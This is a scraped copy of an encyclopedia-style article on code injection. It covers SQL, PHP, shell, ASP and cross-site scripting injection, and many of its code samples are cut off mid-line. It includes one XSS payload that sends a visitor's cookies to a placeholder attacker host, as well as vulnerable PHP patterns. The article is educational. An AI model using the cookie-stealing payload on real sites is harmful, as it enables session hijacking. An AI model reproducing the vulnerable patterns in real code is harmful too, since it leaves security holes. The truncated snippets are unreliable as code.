15.52.53 All Code for Injection Structure | |
Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by an attacker to introduce (or "inject") code into a computer program to change the course of execution. The results of a Code Injection attack can be disastrous. For instance, code injection is used by some Computer worms to propagate. Overview and exampleA web server has a "Guest book" script, which accepts small messages from users, and typically receives messages such as Very Nice site! However a malicious person may know of a code injection vulnerability in the "Guest book", and enters a message such as Nice Site, I think I'll take it.><script>document.location='http://some_attacker/cookie.cgi?' +document.cookie</script> If another user views the page then the injected code will be executed. This code can allow the attacker to impersonate another user. However this same software bug can be accidentally triggered by an unassuming user which will cause the website to display bad HTML code. That post was awesome, :>) In this case the emoticon would cause the HTML to be malformed because a malformed HTML tag was injected into the code. Most of these problems are related to erroneous assumptions of what input data is possible, or the effects of special data.[1] Classic examples of dangerous assumptions a software developer might make about the input to a program include:
Uses of Code InjectionIntentional UseMalevolentUse of code injection is typically viewed as a malevolent action, and it often is. Code injection techniques are popular in system hacking or cracking to gain information, Privilege escalation or unauthorised access to a system. Code injection can be used malevolently to:
BenevolentSome people may use code injections with good intentions. For example, changing or tweaking the behavior of a program or system through code injection can "trick" the system into behaving in a certain way without any malicious intent. For example:
Someone might resort to this sort of work-around for one of these reasons:
The development community as a whole frowns on code injection for this purpose, calling it a kludge or hack. Some developers allow or even promote the use of code injection to "enhance" their software, usually because this solution offers a less expensive way to implement new or specialized features. Unfortunately, the side effects and unaccounted implications can be very dangerous. In general, even well-intentioned use of code injection is discouraged. Unintentional UseSome users may unsuspectingly perform code injection because input they provide to a program was not considered by those who originally developed the system. For example:
Preventing Code InjectionTo prevent Code Injection problems, utilize Secure input and output handling, such as:
Examples of Code InjectionSQL InjectionSQL injection takes advantage of the syntax of SQL to inject commands that can read or modify a database, or compromise the meaning of the original query. For example, consider a web page has two fields to allow users to enter a user name and a password. The code behind the page will generate a SQL query to check the password against the list of user names: SELECT UserList.Username If this query returns any rows, then access is granted. However, if
the malicious user enters a valid Username and injects some valid code ( SELECT UserList.Username In the example above, "Password" is assumed to be blank or some innocuous string. " The technique may be refined to allow multiple statements to run, or even to load up and run external programs. PHP Injection"PHP Injection," "ASP Injection," et cetera are terms coined which refer to various types of code injection attacks which allow an attacker to supply code to the server side scripting engine. In the case of "PHP Injection," the server side scripting engine is PHP. In practice, PHP Injection is either the exploitation of "Dynamic Evaluation Vulnerabilities," "Include File Injection," or similar code injection vulnerabilities. Dynamic Evaluation VulnerabilitiesSteven M. Christey of mitre.org suggests this name for a class of code injection vulnerabilities. Dynamic Evaluation Vulnerabilities - Eval InjectionAn eval injection vulnerability occurs when an attacker can control all or part of an input string that is fed into an $myvar = 'somevalue'; The argument of " Dynamic Evaluation Vulnerabilities - Dynamic Variable EvaluationAs defined in "Dynamic Evaluation Vulnerabilities in PHP applications": PHP supports "variable variables," which are variables or expressions that evaluate to the names of other variables. They can be used to dynamically change which variable is accessed or set during execution of the program. This powerful and convenient feature is also dangerous. A number of applications have code such as the following: $safevar = "0"; If the attacker provides " Dynamic Evaluation Vulnerabilities - Dynamic Function EvaluationThe following PHP-examples will execute a function specified by request. $myfunc = $_GET['myfunc']; and: $myfunc = $_GET['myfunc']; Include File InjectionConsider this PHP program (which includes a file specified by request):
<form method="get"> The developer thought this would ensure that only blue.php and
red.php could be loaded. But as anyone can easily insert arbitrary
values in
Shell InjectionShell Injection is named after Unix shells, but applies to most systems which allows software to programmatically execute command line. Typical sources of Shell Injection is calls Consider the following short PHP program, which runs an external program called funnytext to replace a word the user sent with some other word)
This program can be injected in multiple ways:
PHP offers HTML/Script injection (cross-site scripting)HTML/Script injection is a popular subject, commonly termed "Cross-Site Scripting", or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the output HTML, without being checked for HTML code or scripting. The two basic types are as follows:
HTML injection in IE7 via infected DLLAccording to an article[4] in UK tech site The Register, HTML injection can also occur if the user has an infected DLL on their system. The article quotes Roger Thompson who claims that "the victims' browsers are, in fact, visiting the PayPal website or other intended URL, but that a dll file that attaches itself to IE is managing to read and modify the html while in transit. The article mentions a phishing attack using this attack that manages to bypass IE7 and Symantec's attempts to detect suspicious sites. ASP Injection"ASP Injection", "PHP Injection" etc. are terms coined which refer to various types of code injection attacks which allow an attacker to supply code to the server side scripting engine. In the case of "ASP Injection", the server side scripting engine is Microsoft Active Server Pages, an add-on to Microsoft IIS. In practice, ASP Injection is either the exploitation of Dynamic Evaluation Vulnerabilities, Include File Injection or similar code injection vulnerabilities. Example: <% In this example, the user is able to insert a command instead of a username. AnalogyCode injection is an error in interpretation. Similar interpretation
errors exist out side of the world of computer science such as the
comedy routine Who's on First? . This conversation was properly validated by this quote:
References
External links
Notable code injection programs | |
|
Total comments: 3 | ||||
| ||||